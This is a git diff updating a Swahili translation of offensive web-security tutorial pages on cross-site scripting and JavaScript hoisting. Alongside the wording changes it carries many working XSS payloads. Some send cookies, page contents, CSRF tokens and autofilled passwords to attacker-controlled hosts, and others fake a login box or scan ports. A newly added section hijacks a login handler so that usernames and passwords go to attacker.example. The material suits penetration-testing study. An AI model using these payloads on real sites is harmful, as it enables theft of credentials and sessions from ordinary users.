-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Aina zifuatazo za maudhui zinaweza kutekeleza XSS katika vivinjari vyote:
+(Kutoka [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Aina zifuatazo za content types zinaweza kutekeleza XSS katika browsers zote:
 
 - text/html
 - application/xhtml+xml
 - application/xml
 - text/xml
 - image/svg+xml
-- text/plain (?? si kwenye orodha lakini nadhani niliiona hii katika CTF)
+- text/plain (?? haipo kwenye orodha lakini nadhani niliona hii katika CTF)
 - application/rss+xml (off)
 - application/atom+xml (off)
 
-Katika vivinjari vingine **`Content-Types`** nyingine zinaweza kutumika kutekeleza JS isiyo na mipaka, angalia: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
+Katika browsers nyingine, **`Content-Types`** zinaweza kutumika kutekeleza JS yoyote, angalia: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
 
 ### xml Content Type
 
-Ikiwa ukurasa unarudisha aina ya maudhui ya text/xml inawezekana kuashiria namespace na kutekeleza JS isiyo na mipaka:
+Ikiwa ukurasa unarudisha content-type ya text/xml inawezekana kuonyesha namespace na kutekeleza JS yoyote:
 ```xml
 <xml>
 <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@@ -946,22 +980,22 @@ Ikiwa ukurasa unarudisha aina ya maudhui ya text/xml inawezekana kuashiria names
 
 <!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
 ```
-### Mifumo Maalum ya Kubadilisha
+### Mifumo Maalum ya Ubadilishaji
 
-Wakati kitu kama **`"some {{template}} data".replace("{{template}}", <user_input>)`** kinatumika. Mshambuliaji anaweza kutumia [**mabadiliko maalum ya nyuzi**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kujaribu kupita baadhi ya ulinzi: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
+Wakati kitu kama **`"some {{template}} data".replace("{{template}}", <user_input>)`** kinapotumika, mshambuliaji anaweza kutumia [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kujaribu kuvuka baadhi ya ulinzi: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
 
-Kwa mfano katika [**hii andiko**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), hii ilitumika ku **kutoa nyuzi za JSON** ndani ya script na kutekeleza msimbo wa kiholela.
+Kwa mfano katika [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), hili lilitumika ku**scape a JSON string** ndani ya script na kutekeleza arbitrary code.
 
-### Kumbukumbu ya Chrome hadi XSS
+### Chrome Cache to XSS
 
 
 {{#ref}}
 chrome-cache-to-xss.md
 {{#endref}}
 
-### Kutoroka kwa XS Jails
+### XS Jails Escape
 
-Ikiwa una seti ndogo tu ya wahusika kutumia, angalia suluhisho hizi nyingine halali za matatizo ya XSJail:
+Ikiwa una seti ndogo tu ya chars za kutumia, angalia suluhisho hizi nyingine sahihi kwa matatizo ya XSJail:
 ```javascript
 // eval + unescape + regex
 eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@@ -992,22 +1026,22 @@ constructor(source)()
 // For more uses of with go to challenge misc/CaaSio PSE in
 // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 ```
-Ikiwa **kila kitu hakijafafanuliwa** kabla ya kutekeleza msimbo usioaminika (kama ilivyo katika [**hii ripoti**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) inawezekana kuunda vitu vya manufaa "kutoka kwa kitu chochote" ili kutumia utekelezaji wa msimbo usioaminika:
+Iwapo **everything is undefined** kabla ya kutekeleza untrusted code (kama katika [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) inawezekana kuunda useful objects "out of nothing" ili kutumia vibaya utekelezaji wa arbitrary untrusted code:
 
-- Kutumia import()
+- Using import()
 ```javascript
 // although import "fs" doesn’t work, import('fs') does.
 import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 ```
 - Kupata `require` kwa njia isiyo ya moja kwa moja
 
-[Kulingana na hii](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduli zimefungwa na Node.js ndani ya kazi, kama hii:
+[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduli zimefungwa na Node.js ndani ya function, kama ifuatavyo:
 ```javascript
 ;(function (exports, require, module, __filename, __dirname) {
 // our actual module code
 })
 ```
-Kwa hivyo, ikiwa kutoka kwa moduli hiyo tunaweza **kuita kazi nyingine**, inawezekana kutumia `arguments.callee.caller.arguments[1]` kutoka kwa kazi hiyo kufikia **`require`**:
+Kwa hivyo, ikiwa kutoka kwenye module hiyo tunaweza **call another function**, inawezekana kutumia `arguments.callee.caller.arguments[1]` kutoka kwa function hiyo kufikia **`require`**:
 ```javascript
 ;(function () {
 return arguments.callee.caller.arguments[1]("fs").readFileSync(
@@ -1016,7 +1050,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
 )
 })()
 ```
-Kwa njia sawa na mfano uliopita, inawezekana **kutumia waandishi wa makosa** kufikia **wrapper** ya moduli na kupata **`require`** kazi:
+Kwa njia sawa na mfano uliopita, inawezekana kutumia **error handlers** kufikia **wrapper** ya module na kupata **`require`** function:
 ```javascript
 try {
 null.f()
@@ -1056,12 +1090,12 @@ trigger()
 ```
 ### Obfuscation & Advanced Bypass
 
-- **Obfuscations tofauti katika ukurasa mmoja:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
+- **Obfuscations tofauti kwenye ukurasa mmoja:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
 - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
 - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
 - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
 - [http://www.jsfuck.com/](http://www.jsfuck.com)
-- JSFuck yenye ujuzi zaidi: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
+- JSFuck iliyo ngumu zaidi: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
 - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
 - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
 - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
@@ -1235,9 +1269,9 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
 ```javascript
 // It's also possible to execute JS code only with the chars: []`+!${}
 ```
-## XSS common payloads
+## XSS payloads za kawaida
 
-### Several payloads in 1
+### Kadhaa payloads katika 1
 
 
 {{#ref}}
@@ -1246,14 +1280,14 @@ steal-info-js.md
 
 ### Iframe Trap
 
-Fanya mtumiaji aendelee kwenye ukurasa bila kutoka kwenye iframe na kuiba vitendo vyake (ikiwemo taarifa zinazotumwa kwenye fomu):
+Mfanya mtumiaji avinjari kwenye ukurasa bila kutoka kwenye iframe na kuiba vitendo vyake (ikiwa ni pamoja na taarifa zinazotumwa katika fomu):
 
 
 {{#ref}}
 ../iframe-traps.md
 {{#endref}}
 
-### Retrieve Cookies
+### Pata Cookies
 ```javascript
 <img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
 <img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@@ -1276,7 +1310,7 @@ Fanya mtumiaji aendelee kwenye ukurasa bila kutoka kwenye iframe na kuiba vitend
 <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
 ```
 > [!TIP]
-> Hutaweza kupata vidakuzi kutoka JavaScript ikiwa bendera ya HTTPOnly imewekwa kwenye kidakuzi. Lakini hapa kuna [njia kadhaa za kupita ulinzi huu](../hacking-with-cookies/index.html#httponly) ikiwa umebahatika.
+> **Hutaweza kupata cookies kwa JavaScript** ikiwa bendera ya HTTPOnly imewekwa katika cookie. Lakini hapa una [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) ikiwa utakuwa na bahati.
 
 ### Kuiba Maudhui ya Ukurasa
 ```javascript
@@ -1291,7 +1325,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
 xhr.open("GET", url, true)
 xhr.send(null)
 ```
-### Pata IP za ndani
+### Tafuta IPs za ndani
 ```html
 <script>
 var q = []
@@ -1348,11 +1382,11 @@ q.shift()()
 }
 </script>
 ```
-### Scanner ya Bandari (fetch)
+### Port Scanner (fetch)
 ```javascript
 const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
 ```
-### Skana wa Bandari (websockets)
+### Port Scanner (websockets)
 ```python
 var ports = [80, 443, 445, 554, 3306, 3690, 1234];
 for(var i=0; i<ports.length; i++) {
@@ -1367,15 +1401,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
 };
 }
 ```
-_Maisha mafupi yanaonyesha bandari inayojibu_ _Maisha marefu yanaonyesha hakuna jibu._
+_Wakati mfupi unaonyesha bandari inayojibu_ _Wakati mrefu unaonyesha hakuna jibu._
 
-Kagua orodha ya bandari zilizokatazwa katika Chrome [**hapa**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) na katika Firefox [**hapa**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
+Angalia orodha ya ports zinazozuiwa katika Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) na katika Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
 
-### Sanduku la kuomba ithibitisho
+### Sanduku la kuomba maelezo ya kuingia
 ```html
 <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
 ```
-### Kukamata nywila za kujaza kiotomatiki
+### Kukamata nywila zilizojazwa kiotomatiki
 ```javascript
 <b>Username:</><br>
 <input name=username id=username>
@@ -1386,18 +1420,33 @@ mode: 'no-cors',
 body:username.value+':'+this.value
 });">
 ```
-Wakati data yoyote inapoingizwa katika uwanja wa nywila, jina la mtumiaji na nywila vinatumwa kwa seva ya washambuliaji, hata kama mteja anachagua nywila iliyohifadhiwa na hajiandikishe chochote, taarifa za kuingia zitavuja.
+Ikiwa data yoyote inaingizwa katika uwanja wa password, username na password hutumwa kwenye server ya mshambuliaji; hata kama client atachagua saved password na hata hakutandika chochote, credentials zitatolewa (ex-filtrated).
+
+### Hijack form handlers ili exfiltrate credentials (const shadowing)
+
+Ikiwa handler muhimu (mfano, `function DoLogin(){...}`) imetangazwa baadaye kwenye ukurasa, na payload yako ikaanza mapema (mfano, kupitia inline JS-in-JS sink), define `const` yenye jina lile hilo kwanza ili kuzuia na kufunga handler. Matangazo ya function yaliyotokea baadaye hayawezi rebind jina la `const`, hivyo hook yako itabaki kuwa katika udhibiti:
+```javascript
+const DoLogin = () => {
+const pwd  = Trim(FormInput.InputPassword.value);
+const user = Trim(FormInput.InputUtente.value);
+fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
+};
+```
+Vidokezo
+- Hii inategemea mpangilio wa utekelezaji: injection yako lazima itekelezwe kabla ya tamko halali.
+- Iwapo payload yako imefungwa ndani ya `eval(...)`, vifungo `const/let` havitatokea kuwa globals. Tumia dynamic `<script>` injection technique kutoka sehemu “Deliverable payloads with eval(atob()) and scope nuances” ili kuhakikisha global ya kweli, binding isiyoweza kurebind.
+- Wakati keyword filters zinazuia code, changanya na Unicode-escaped identifiers au utoaji wa `eval(atob('...'))`, kama ilivyoonyeshwa hapo juu.
 
 ### Keylogger
 
-Nilipokuwa nikitafuta katika github, nilipata baadhi tofauti:
+Just searching in github I found a few different ones:
 
 - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
 - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
 - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
-- Unaweza pia kutumia metasploit `http_javascript_keylogger`
+- You can also use metasploit `http_javascript_keylogger`
 
-### Kuiba token za CSRF
+### Stealing CSRF tokens
 ```javascript
 <script>
 var req = new XMLHttpRequest();
@@ -1412,7 +1461,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
 };
 </script>
 ```
-### Kuiba ujumbe wa PostMessage
+### Kuiba ujumbe za PostMessage
 ```html
 <img src="https://attacker.com/?" id=message>
 <script>
@@ -1420,7 +1469,7 @@ window.onmessage = function(e){
 document.getElementById("message").src += "&"+e.data;
 </script>
 ```
-### Kutumia Wafanyakazi wa Huduma
+### Kutumia vibaya Service Workers
 
 
 {{#ref}}
@@ -1441,7 +1490,7 @@ shadow-dom.md
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
 {{#endref}}
 
-### Payloads za XSS za Kijinga
+### Blind XSS payloads
 
 Unaweza pia kutumia: [https://xsshunter.com/](https://xsshunter.com)
 ```html
@@ -1510,7 +1559,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
 ```
 ### Regex - Kupata Maudhui Yaliyofichwa
 
-Kutoka [**hiki andiko**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) inawezekana kujifunza kwamba hata kama baadhi ya thamani zinapotea kutoka JS, bado inawezekana kuziona katika sifa za JS katika vitu tofauti. Kwa mfano, ingizo la REGEX bado linaweza kupatikana baada ya thamani ya ingizo la regex kuondolewa:
+Kutoka kwenye [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) inawezekana kujifunza kwamba hata kama baadhi ya thamani zinapotoweka kutoka JS, bado inawezekana kuzipata katika JS attributes kwenye objects tofauti. Kwa mfano, input ya REGEX bado inawezekana kuipata baada ya thamani ya input ya regex kuondolewa:
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@@ -1527,7 +1576,7 @@ console.log(
 document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
 )
 ```
-### Orodha ya Brute-Force
+### Brute-Force Orodha
 
 
 {{#ref}}
@@ -1538,32 +1587,34 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
 
 ### XSS katika Markdown
 
-Unaweza kuingiza msimbo wa Markdown ambao utaonyeshwa? Labda unaweza kupata XSS! Angalia:
+Unaweza kuingiza code ya Markdown itakayorendwa? Labda unaweza kupata XSS! Angalia:
 
 
 {{#ref}}
 xss-in-markdown.md
 {{#endref}}
 
-### XSS kwa SSRF
+### XSS hadi SSRF
 
-Umepata XSS kwenye **tovuti inayotumia caching**? Jaribu **kuinua hiyo kuwa SSRF** kupitia Edge Side Include Injection kwa kutumia payload hii:
+Umepata XSS kwenye **tovuti inayotumia caching**? Jaribu **kuiboresha hadi SSRF** kupitia Edge Side Include Injection kwa payload hii:
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```
-Tumia ili kupita vizuizi vya cookie, XSS filters na mengi zaidi!\
+Tumia hili kuvuka vikwazo vya cookie, vichujio vya XSS na mengi zaidi!\
 Taarifa zaidi kuhusu mbinu hii hapa: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
 
-### XSS katika PDF inayoundwa kwa dinamik
+### XSS katika PDF zinazotengenezwa kwa njia ya dynamic
+
+Kama ukurasa wa wavuti unabuni PDF kwa kutumia input inayodhibitiwa na mtumiaji, unaweza kujaribu **kulaghai bot** anayeitengeneza PDF ili **kutekeleza JS code yoyote**.\
+Hivyo, ikiwa **bot anayetengeneza PDF anapopata** aina fulani za **HTML** **tags**, itazitafsiri, na unaweza **kutumia** tabia hii kusababisha **Server XSS**.
 
-Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia pembejeo inayodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** inayounda PDF ili **kutekeleza msimbo wa JS usio na mipaka**.\
-Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, itakuwa **inafasiri** hizo, na unaweza **kutumia** tabia hii kusababisha **Server XSS**.
 
 {{#ref}}
 server-side-xss-dynamic-pdf.md
 {{#endref}}
 
-Ikiwa huwezi kuingiza HTML tags inaweza kuwa na faida kujaribu **kuingiza data ya PDF**:
+Kama huwezi kuingiza HTML tags, inaweza kuwa vyema kujaribu **inject PDF data**:
+
 
 {{#ref}}
 pdf-injection.md
@@ -1571,15 +1622,15 @@ pdf-injection.md
 
 ### XSS katika Amp4Email
 
-AMP, inayolenga kuongeza utendaji wa ukurasa wa wavuti kwenye vifaa vya rununu, inajumuisha HTML tags zilizoimarishwa na JavaScript ili kuhakikisha kazi na kuzingatia kasi na usalama. Inasaidia anuwai ya vipengele kwa ajili ya vipengele mbalimbali, vinavyopatikana kupitia [AMP components](https://amp.dev/documentation/components/?format=websites).
+AMP, inayolenga kuharakisha utendakazi wa kurasa za wavuti kwenye vifaa vya mkononi, inajumuisha HTML tags zinazoambatana na JavaScript ili kuhakikisha utendakazi huku ikiweka msisitizo kwenye kasi na usalama. Inaunga mkono safu ya components kwa vipengele mbalimbali, vinavyopatikana kupitia [AMP components](https://amp.dev/documentation/components/?format=websites).
 
-Muundo wa [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) unapanua vipengele maalum vya AMP kwa barua pepe, na kuwapa wapokeaji uwezo wa kuingiliana na maudhui moja kwa moja ndani ya barua zao pepe.
+Muundo wa [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) unapanua components maalum za AMP kwa barua pepe, ukiruhusu wapokeaji kuingiliana na yaliyomo moja kwa moja ndani ya barua pepe zao.
 
-Mfano [**writeup XSS katika Amp4Email katika Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
+Mfano [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
 
-### XSS kupakia faili (svg)
+### XSS kwa kupakia faili (svg)
 
-Pakia kama picha faili kama ifuatavyo (kutoka [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
+Pakia kama picha faili kama ifuatayo (kutoka [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
 ```html
 Content-Type: multipart/form-data; boundary=---------------------------232181429808
 Content-Length: 574
@@ -1637,7 +1688,7 @@ id="foo"/>
 ```
 Pata **SVG payloads zaidi katika** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 
-## Mambo Mengine ya JS & Taarifa Zinazohusiana
+## Mbinu Mbalimbali za JS & Taarifa Muhimu
 
 
 {{#ref}}
@@ -1653,4 +1704,9 @@ other-js-tricks.md
 - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
 - [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
 
+## Marejeleo
+
+- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
+- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)
+
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
index a1c690b7d..fbf3596b4 100644
--- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
+++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
@@ -4,29 +4,29 @@
 
 ## Basic Information
 
-Katika lugha ya JavaScript, mekanismu inayojulikana kama **Hoisting** inaelezewa ambapo matangazo ya mabadiliko, kazi, madarasa, au uagizaji yanaelekezwa kwa dhana juu ya upeo wao kabla ya msimbo kutekelezwa. Mchakato huu unafanywa kiotomatiki na injini ya JavaScript, ambayo inapitia skripti katika vipitisho vingi.
+Katika lugha ya JavaScript, kuna utaratibu unaoitwa **Hoisting** ambapo tamko za variables, functions, classes, au imports kwa dhana huinuliwa juu ya scope yao kabla ya msimbo kutekelezwa. Mchakato huu hufanywa kiotomatiki na JavaScript engine, ambayo hupitia script kwa vipindi vingi.
 
-Wakati wa kipitisho cha kwanza, injini inachambua msimbo ili kuangalia makosa ya sintaksia na kuubadilisha kuwa mti wa sintaksia wa kiabstrakti. Awamu hii inajumuisha hoisting, mchakato ambapo matangazo fulani yanahamishwa juu ya muktadha wa utekelezaji. Ikiwa awamu ya uchambuzi inafanikiwa, ikionyesha hakuna makosa ya sintaksia, utekelezaji wa skripti unaendelea.
+Wakati wa pass ya kwanza, engine inachambua msimbo kuangalia syntax errors na kuubadilisha kuwa abstract syntax tree. Awamu hii inajumuisha hoisting, mchakato ambapo tamko fulani huhamishwa hadi juu ya execution context. Ikiwa hatua ya parsing itafanikiwa, ikionyesha hakuna syntax errors, utekelezaji wa script unaendelea.
 
 Ni muhimu kuelewa kwamba:
 
-1. Skripti lazima iwe huru na makosa ya sintaksia ili utekelezaji ufanyike. Sheria za sintaksia lazima zifuatwe kwa ukali.
-2. Mahali pa msimbo ndani ya skripti yanaathiri utekelezaji kutokana na hoisting, ingawa msimbo uliofanywa unaweza kutofautiana na uwakilishi wake wa maandiko.
+1. Script inapaswa kuwa haina syntax errors ili utekelezaji uanze. Sheria za syntax lazima zizingatiwe kikamilifu.
+2. Nafasi ya msimbo ndani ya script inaathiri utekelezaji kutokana na hoisting, ingawa msimbo unaotekelezwa unaweza kutofautiana na muundo wake wa maandishi.
 
 #### Types of Hoisting
 
-Kulingana na taarifa kutoka MDN, kuna aina nne tofauti za hoisting katika JavaScript:
+Kulingana na MDN, kuna aina nne tofauti za hoisting katika JavaScript:
 
-1. **Value Hoisting**: Inaruhusu matumizi ya thamani ya mabadiliko ndani ya upeo wake kabla ya mstari wake wa matangazo.
-2. **Declaration Hoisting**: Inaruhusu kurejelea mabadiliko ndani ya upeo wake kabla ya matangazo yake bila kusababisha `ReferenceError`, lakini thamani ya mabadiliko itakuwa `undefined`.
-3. Aina hii inabadilisha tabia ndani ya upeo wake kutokana na matangizo ya mabadiliko kabla ya mstari wake wa matangizo halisi.
-4. Athari za upande wa matangizo hutokea kabla ya msimbo mwingine unaoihusisha kutathminiwa.
+1. **Value Hoisting**: Inaruhusu matumizi ya thamani ya variable ndani ya scope yake kabla ya mstari wake wa declaration.
+2. **Declaration Hoisting**: Inaruhusu kurejelea variable ndani ya scope kabla ya declaration yake bila kusababisha `ReferenceError`, lakini thamani ya variable itakuwa `undefined`.
+3. Aina hii inabadilisha tabia ndani ya scope kutokana na tamko la variable kabla ya mstari wake halisi wa declaration.
+4. Madhara ya tamko yanatokea kabla ya sehemu nyingine za msimbo zinazojumuisha tamko hilo kuangaliwa.
 
-Kwa undani, matangizo ya kazi yanaonyesha tabia ya hoisting aina 1. Neno la `var` linaonyesha tabia ya aina 2. Matangazo ya kisheria, ambayo yanajumuisha `let`, `const`, na `class`, yanaonyesha tabia ya aina 3. Mwishowe, taarifa za `import` ni za kipekee kwa kuwa zina hoisted na tabia za aina 1 na aina 4.
+Kwa undani, function declarations zinaonyesha tabia ya hoisting ya aina ya 1. `var` inadhihirisha tabia ya aina ya 2. Lexical declarations, ambazo ni pamoja na `let`, `const`, na `class`, zinaonyesha tabia ya aina ya 3. Mwishowe, statements za `import` ni za kipekee kwa kuwa zinahoisted kwa tabia za aina ya 1 na aina ya 4.
 
 ## Scenarios
 
-Hivyo ikiwa una hali ambapo unaweza **Kuingiza msimbo wa JS baada ya kitu kisichotangazwa** kutumika, unaweza **kurekebisha sintaksia** kwa kutangaza (ili msimbo wako utekelezwe badala ya kutupa makosa):
+Kwa hiyo ikiwa una matukio ambapo unaweza **Inject JS code after an undeclared object** inatumiwa, unaweza **fix the syntax** kwa kuitangaza (hivyo msimbo wako unatekelezwa badala ya kutoa error):
 ```javascript
 // The function vulnerableFunction is not defined
 vulnerableFunction('test', '<INJECTION>');
@@ -68,7 +68,7 @@ alert(1);
 test.cookie("leo", "INJECTION")
 test[("cookie", "injection")]
 ```
-## Mifanozo Zaidi
+## Matukio Mengine
 ```javascript
 // Undeclared var accessing to an undeclared method
 x.y(1,INJECTION)
@@ -127,11 +127,31 @@ alert(1) -
 },
 })
 }
+trigger()
 ```
+### Zuia tamko za baadaye kwa kufunga jina kwa const
+
+Ikiwa unaweza kutekeleza kabla ya `function foo(){...}` ya ngazi ya juu kusomwa, kutangaza lexical binding kwa jina lile lile (mf., `const foo = ...`) kutaizuia tamko la function la baadaye kuunganisha tena kitambulisho hicho. Hii inaweza kutumika vibaya katika RXSS kuchukua udhibiti wa handlers muhimu zilizofafanuliwa baadaye kwenye ukurasa:
+```javascript
+// Malicious code runs first (e.g., earlier inline <script>)
+const DoLogin = () => {
+const pwd  = Trim(FormInput.InputPassword.value)
+const user = Trim(FormInput.InputUtente.value)
+fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
+}
+
+// Later, the legitimate page tries to declare:
+function DoLogin(){ /* ... */ } // cannot override the existing const binding
+```
+Vidokezo
+- Hii inategemea mpangilio wa utekelezaji na global (top-level) scope.
+- Ikiwa payload yako inatekelezwa ndani ya `eval()`, kumbuka kwamba `const/let` ndani ya `eval` ni block-scoped na hazitaunda global bindings. Ingiza element mpya ya `<script>` yenye code ili kuanzisha `const` ya kweli ya global.
+
 ## Marejeo
 
 - [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
 - [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
 - [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
+- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
 
 {{#include ../../banners/hacktricks-training.md}}